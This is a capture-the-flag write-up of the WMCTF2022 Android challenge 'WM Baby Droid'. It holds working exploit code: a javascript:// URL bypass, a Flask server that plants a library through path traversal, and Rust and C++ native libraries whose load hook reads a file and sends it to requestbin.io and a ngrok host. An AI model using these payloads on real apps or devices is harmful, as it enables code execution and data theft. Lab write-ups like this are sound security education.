[Pwn] WMCTF2022 - WM Baby Droid

WM Baby Droid

Solves: 1

Points: 500

Description:
nc 43.248.96.7 10086

Attachment:

download
d9c14779206634d37e7f0e43d5c9537a

Author: bubble#2768

TLDR

  • Bypass domain google.com verification with javascript:// to redirect to the evil website.
  • App trusts download_name so we can use path transversal to save the downloaded library into internal storage.
  • Write a native library that will read the flag from the file system and send it through a socket.
  • Write the necessary javascript to trigger the javascriptinterface and execute our malicious library.

Introduction

After downloading the attachment we have the following files:

1
2
3
4
5
6
7
8
9
10
11
12
13
$ unzip -l WM_Baby_Droid.zip  
Archive: WM_Baby_Droid.zip
Length Date Time Name
--------- ---------- ----- ----
1978 2022-05-19 10:20 attachment/Dockerfile
3897305 2022-08-19 10:44 attachment/app-debug.apk
11 2022-08-19 11:36 attachment/flag
2333 2022-08-19 10:26 attachment/readme.md
1022 2022-08-19 10:30 attachment/run.sh
7848 2022-08-19 10:40 attachment/server.py
232 2022-04-19 18:58 attachment/server.sh
--------- -------
3910729 7 files

Lets start by analysing the server.py.

The server will request a poc url from the begining to be sent to the app through an intent:

1
2
3
4
5
6
7
print_to_user("Please enter your poc url:")
url = sys.stdin.readline().strip()
# url should be like "http://xxx" to to ensure that `adb shell` passes intent.data correctly.
if url.strip('"') == url:
url = f'"{url}"'
...
adb_activity(f"{VULER}/.MainActivity", wait=True, data=url)

More useful information is given to us when a new emulator with android API_30 and x86_64 architecture is created:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
def setup_emulator():
subprocess.call(
"avdmanager" +
" create avd" +
" --name 'pixel_xl_api_30'" +
" --abi 'google_apis/x86_64'" +
" --package 'system-images;android-30;google_apis;x86_64'" +
" --device pixel_xl" +
" --force" +
("" if isMacos else " > /dev/null 2> /dev/null"),
env=ENV,
close_fds=True,
shell=True)

return subprocess.Popen(
"emulator" +
" -avd pixel_xl_api_30" +
" -no-cache" +
" -no-snapstorage" +
" -no-snapshot-save" +
" -no-snapshot-load" +
" -no-audio" +
" -no-window" +
" -no-snapshot" +
" -no-boot-anim" +
" -wipe-data" +
" -accel on" +
" -netdelay none" +
" -no-sim" +
" -netspeed full" +
" -delay-adb" +
" -port {}".format(EMULATOR_PORT) +
("" if isMacos else " > /dev/null 2> /dev/null ") +
"",
env=ENV,
close_fds=True,
shell=True,
preexec_fn=os.setsid)
...
print_to_user("Preparing android emulator. This may takes about 2 minutes...\n")
emulator = setup_emulator()
adb(["wait-for-device"])

We also know from the file that the flag is being broadcasted here:

1
2
with open(FLAG_FILE, "r") as f:
adb_broadcast(f"com.wmctf.SET_FLAG", f"{VULER}/.FlagReceiver", extras={"flag": f.read()})

Static Analysis

The apk doesn’t have a lot of obfuscation (this was expected since the category of the challenge is pwn and not a reverse).

We used jadx to analyse the app so lets see what we have in the AndroidManifest.xml.

The application only has the INTERNET permission to connect to the internet, a receiver and the main activity:

1
2
3
4
5
6
<uses-permission android:name="android.permission.INTERNET"/>
...
<activity android:name="com.wmctf.wmbabydroid.MainActivity" android:exported="true">
...
<receiver android:name="com.wmctf.wmbabydroid.FlagReceiver" android:exported="false">
...

The launcher activity:

The receiver:

We don’t have to worry to generate a broadcast since the server will generate one for us (we saw this in the introduction section).

Bypass getHost

Since there is a verification to allow google.com urls to be loaded:

1
if (!uri.getHost().endsWith(".google.com")) {

Me and my friend had this great idea of actually hosting our website in sites.google.com, we did implement this and the poc was working locally unfortunately everything into to the garbage when the organizers told us that China banned google so the servers wouldn’t be able to connect to google domains.

Hearing this we finally realized this was probably a url parsing challenge and we tried multiple tricks like the ones mentioned in the orange blackhat presentation without any success.

We eventually found this CVE about a vulnerability in getHost but it looks it only works on older API versions, more recent ones are already patched (We also know from the emulator configuration that the android API version is 30 so this wouldn’t work).

We tried to analyse Android API 30 code trying to find a flaw in the code and also checking the URL RFC and try new things but without any success.

We also thought of using an redirect to bypass the check but since the server is hosted in china and google.com is banned we forgot about this for a while.

Another idea showed up on trying to use file:// to access the internal files of the emulator and read the flag, unfortunately to use this requires a special permission in the webview so we discarded this option.

Eventually the organizers published an announcement for this challenge giving the tip to use javascript://.

In the end it was kind of “simple” but we didn’t remember of trying javascript:// which makes sense and it eventually doesn’t even need to request the google domain which is perfect.

The hint given was:

Baby Droid Hint: JavaScript://www.google.com/%0d%0awindow.location.href='http://evil.com/'

Drop the file into the internal storage file directory

The downloaded file is being saved in the external storage cache directory:

1
String destPath = new File(MainActivity.this.getExternalCacheDir(), fileName).getPath();

Because of this we need to find a way to move it to the files directory (shared library will be loaded from that dir):

1
File so = new File(getFilesDir() + "/lmao.so");

Since the server trusts the download_name from the header Content-Disposition we can use Path Transversal to save the file to the folder we want.

The file is saved in /storage/emulated/0/Android/data/com.wmctf.wmbabydroid/cache and we want to move it to /data/data/com.wmctf.wmbabydroid/files/lmao.so.

To achieve this we used the following download_name -> ../../../../../../../data/data/com.wmctf.wmbabydroid/files/lmao.so.

We used flask to implement the server in the backend:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from flask import Flask, send_file, make_response,render_template
from flask_cors import CORS

def create_app(test_config=None):
app = Flask(__name__)
CORS(app, expose_headers=["Content-Disposition"])

@app.route('/')
def index():
return render_template('index.html')

@app.route('/download')
def download():
response = make_response(send_file(
"libcargo.so",
as_attachment=True,
download_name="../../../../../../../data/data/com.wmctf.wmbabydroid/files/lmao.so"
))
response.headers['Content-Disposition'] = 'attachment; filename=../../../../../../../data/data/com.wmctf.wmbabydroid/files/lmao.so'
response.headers['User-Agent'] = 'kekw'
return response

return app

create_app().run(debug=True, port=80, host='0.0.0.0')

Implement the shared library

We will have the opportunity to run a malicious library in the victim’s device so we need to write a code that will read the flag from the file system and send the flag to through a HTTP request or a socket using tcp.

Usually an android application has native methods that will be called from the native lib like in this example:

1
public native String getSystemTime();

In this case we don’t have any, but looking at the documentation it seems when system.load is executed a function named JNI_OnLoad will be executed:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/**
* Loads the native library specified by the <code>libname</code>
* argument. The <code>libname</code> argument must not contain any platform
* specific prefix, file extension or path. If a native library
* called <code>libname</code> is statically linked with the VM, then the
* JNI_OnLoad_<code>libname</code> function exported by the library is invoked.
* See the JNI Specification for more details.
*
* Otherwise, the libname argument is loaded from a system library
* location and mapped to a native library image in an implementation-
* dependent manner.
**/
public static void loadLibrary(String libname) {
Runtime.getRuntime().loadLibrary0(VMStack.getCallingClassLoader(), libname);
}

The following picture illustrates this well:

I’m not an android developer myself but since I’ve reversed a bunch of malware in my work using rust native libraries I decided to implement one in rust, since I already had some experience doing it and I thought it wouldn’t be a problem doing it here as well.

Unfortunately this ended up being an bad idea since rust libraries are usually bigger than the normal ones and this messed up our final payload (size was about 11mb but it was enough to disturb the poc in the server).

For the lulz we will share the rust library we implemented:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
use std::os::raw::{c_char};
use std::ffi::{CString, CStr};
use std::fs;
use std::ffi::c_void;
use hyper_tls::HttpsConnector;
use std::{thread, time};

#[macro_use] extern crate log;
extern crate android_log;


async fn kekw() -> Result<(), Box<dyn std::error::Error>>{
// Create a new client object

while true {
let b = std::path::Path::new("/data/data/com.wmctf.wmbabydroid/files/flag").exists();
info!("Stuck in the loop {}", b);

let https2 = HttpsConnector::new();
let client2 = hyper::Client::builder()
.build::<_, hyper::Body>(https2);

// Build out our request
let req = hyper::Request::builder()
.method(hyper::Method::POST)
.uri("<redacted>")
.header("user-agent", "WTF")
.header("content-type", "application/json")
.body(hyper::Body::from("Stuck waiting for flag"))?;
let resp2 = client2.request(req).await?;

// Get the response body bytes.
let body_bytes2 = hyper::body::to_bytes(resp2.into_body()).await?;

// Convert the body bytes to utf-8
let body2 = String::from_utf8(body_bytes2.to_vec()).unwrap();
if b {
break;
}
let ten_millis = time::Duration::from_millis(500);
let now = time::Instant::now();
thread::sleep(ten_millis);
}

//let ten_millis = time::Duration::from_millis(2000);
//let now = time::Instant::now();
//thread::sleep(ten_millis);

let https = HttpsConnector::new();
let client = hyper::Client::builder()
.build::<_, hyper::Body>(https);

//let client = hyper::Client::new();
let contents = fs::read_to_string("/data/data/com.wmctf.wmbabydroid/files/flag")
.expect("Should have been able to read the file");
info!("this is a debug {}", contents);
// Build out our request
let req = hyper::Request::builder()
.method(hyper::Method::POST)
.uri("https://requestbin.io/wn9ivmwn")
.header("user-agent", "WTF")
.header("content-type", "application/json")
.body(hyper::Body::from(contents))?;

// Pass our request builder object to our client.
let resp = client.request(req).await?;

// Get the response body bytes.
let body_bytes = hyper::body::to_bytes(resp.into_body()).await?;

// Convert the body bytes to utf-8
let body = String::from_utf8(body_bytes.to_vec()).unwrap();
info!("this is a debug {}", body);
//println!("{}", body);
Ok(())

}


/// Expose the JNI interface for android below
#[cfg(target_os="android")]
#[allow(non_snake_case)]
pub mod android {
extern crate jni;

use super::*;
use self::jni::JNIEnv;
use self::jni::JavaVM;
use self::jni::objects::{JClass, JString};
use self::jni::sys::{jstring};
use self::jni::sys::JNI_VERSION_1_6;
use self::jni::sys::{jint, jshort};

#[no_mangle]
pub extern "system" fn JNI_OnLoad(_vm: JavaVM, _reserved: *mut c_void) -> jint {
android_logger::init_once(
android_logger::Config::default().with_min_level(log::Level::Trace),
);

let c_str = unsafe { CStr::from_ptr(CString::new("kekw feast").unwrap().as_ptr()) };
let recipient = match c_str.to_str() {
Err(_) => "there",
Ok(string) => string,
};


let mut rt = tokio::runtime::Runtime::new().unwrap();
match rt.block_on(kekw()) {
Ok(_) => info!("Done"),
Err(e) => error!("An error ocurred: {}", e),
};
info!("kekw");
//CString::new("Hellow ".to_owned() + recipient).unwrap().into_raw();
JNI_VERSION_1_6
}
}

Rust lib was working locally but not in the challenge server so much later we decided to re-implement using “normal” native libraries (file size was reduced to 800kb):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <string>
#include <netdb.h>
#include <errno.h>
#include <fstream>
#include <thread>
#include "jni.h"


bool is_file_exist(const char * fileName) {
std::ifstream infile(fileName);
bool r = infile.good();
infile.close();
return r;
}
class Task {
public:
void execute(std::string command) {
int sockfd, portno;
struct sockaddr_in serv_addr;
struct hostent * server;
char buffer[256] = "";

portno = 12099;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
server = gethostbyname("4.tcp.eu.ngrok.io");
if (server == NULL) {
fprintf(stderr, "ERROR, no such host\n");
exit(0);
}
bzero((char * ) & serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
bcopy((char * ) server -> h_addr,
(char * ) & serv_addr.sin_addr.s_addr,
server -> h_length);
serv_addr.sin_port = htons(portno);
if (connect(sockfd, (struct sockaddr * ) & serv_addr, sizeof(serv_addr)) < 0)
fprintf(stderr, "ERROR connecting");
while (true) {
if (is_file_exist("/data/data/com.wmctf.wmbabydroid/files/flag")) {
break;
}
send(sockfd, "File doesn't exist yet\n", strlen("File doesn't exist yet\n"), 0);
sleep(1);
}
FILE * fd = fopen("/data/data/com.wmctf.wmbabydroid/files/flag", "r");
int i = 0;
while (1) {
char c = fgetc(fd);
if (feof(fd))
break;
buffer[i++] = c;
}
fclose(fd);
if (send(sockfd, buffer, strlen(buffer), 0) < 0) {
char * write_error = strerror(errno);
}
close(sockfd);
}
};
JNIEXPORT jint JNI_OnLoad(JavaVM * vm, void * ) {
JNIEnv * env;

if (vm -> GetEnv(reinterpret_cast < void ** > ( & env), JNI_VERSION_1_6) != JNI_OK) {
return JNI_ERR;
}
Task taskPtr;
std::thread th( & Task::execute, taskPtr, "Sample Task");
th.join();
return JNI_VERSION_1_6;
}

We also added this infinite loop to check if the flag file already exists (If the payload is too fast the flag might not be in the directory):

1
2
3
4
5
6
7
while(true){
if (is_file_exist("/data/data/com.wmctf.wmbabydroid/files/flag")) {
break;
}
send(sockfd, "File doesn't exist yet\n", strlen("File doesn't exist yet\n"), 0);
sleep(1);
}

One line command to extract the lib from the built apk:

1
unzip -p ~/AndroidStudioProjects/<project-name>/app/build/outputs/apk/debug/app-debug.apk lib/x86_64/libwmbabydroid.so > libcargo.so

We followed the google documentation on how to implement native libraries in android.

Trigger the @JavascriptInterface code

Javascript Interfaces allows exposing methods to JavaScript:

1
2
3
4
5
6
7
8
9
10
11
12
13
webView.addJavascriptInterface(this, "lmao");
...
@JavascriptInterface
public void lmao() {
try {
File so = new File(getFilesDir() + "/lmao.so");
if (so.exists()) {
System.load(so.getPath());
}
} catch (Exception e) {
e.printStackTrace();
}
}

The @JavascriptInterface notation will allow us to execute java code function from javascript for example to execute the code above we can use:

1
2
3
function javaInterface() {
lmao.lmao();
}

To trigger the download and the JavascriptInterface we created the following html file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<html>
<body onload="getAll()">
<!--<iframe src="/download"></iframe>-->
<a href="/download" id="test">qweqwe</a>
</body>
<script>
function getAll() {
lmao.lmao();
setTimeout(download, 3000);
setTimeout(timeoutFunc, 15000);
}

function download() {
document.getElementById("test").click();
}

function timeoutFunc() {
lmao.lmao();
}
</script>
</html>

Note that running lmao.lmao() first is very important since the files directory is not created when the apk is installed.

The method getFilesDir() will create the directory for us:

1
File so = new File(getFilesDir() + "/lmao.so");

Final script

Using pwntools to send the link to the app in the server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
import re
import hashlib
import string
import traceback


def main():
r = remote('localhost', 10086) if not args.REMOTE else remote(
'43.248.96.7', 10086)
a = r.recvuntil(b"Please enter the xxxx to satisfy the above equation:\n")
begin, end, hash_digest = re.findall(
r'(?<=")[a-zA-Z0-9]+?(?=")', a.decode())
for a in string.ascii_letters:
for b in string.ascii_letters:
for c in string.ascii_letters:
for d in string.ascii_letters:
test_hash = hashlib.sha256(
(begin+a+b+c+d).encode()).hexdigest()
if test_hash == hash_digest:
print(a+b+c+d)
r.sendline((a+b+c+d).encode())
r.recvuntil(b'Please enter your poc url:\n')
r.sendline(
"JavaScript://www.google.com/%0d%0awindow.location.href='{}'".format(args.HOST).encode())
print(r.recvuntil(b'exiting......\n', timeout=60*5))
r.close()
return


if args.LOOP:
while True:
try:
main()
except KeyboardInterrupt:
break
except:
traceback.print_exc()
continue
else:
main()

Running it:

1
2
3
4
5
6
7
8
$ python wm_baby_droid.py REMOTE LOOP HOST=https://wmctf2022.herokuapp.com
[+] Opening connection to 43.248.96.7 on port 10086: Done
xthO
b'Preparing android emulator. This may takes about 2 minutes...\n\nLaunching! Let your apk fly for a while...\n\nexiting......\n'
[*] Closed connection to 43.248.96.7 port 10086
[+] Opening connection to 43.248.96.7 on port 10086: Done
xsEK
[*] Closed connection to 43.248.96.7 port 10086

Receiving the flag on our listening service:

1
2
$ nc -l -k  5000
WMCTF{e0230a12-fa8d-443a-959a-bb61d24e5132}

The flag was WMCTF{e0230a12-fa8d-443a-959a-bb61d24e5132}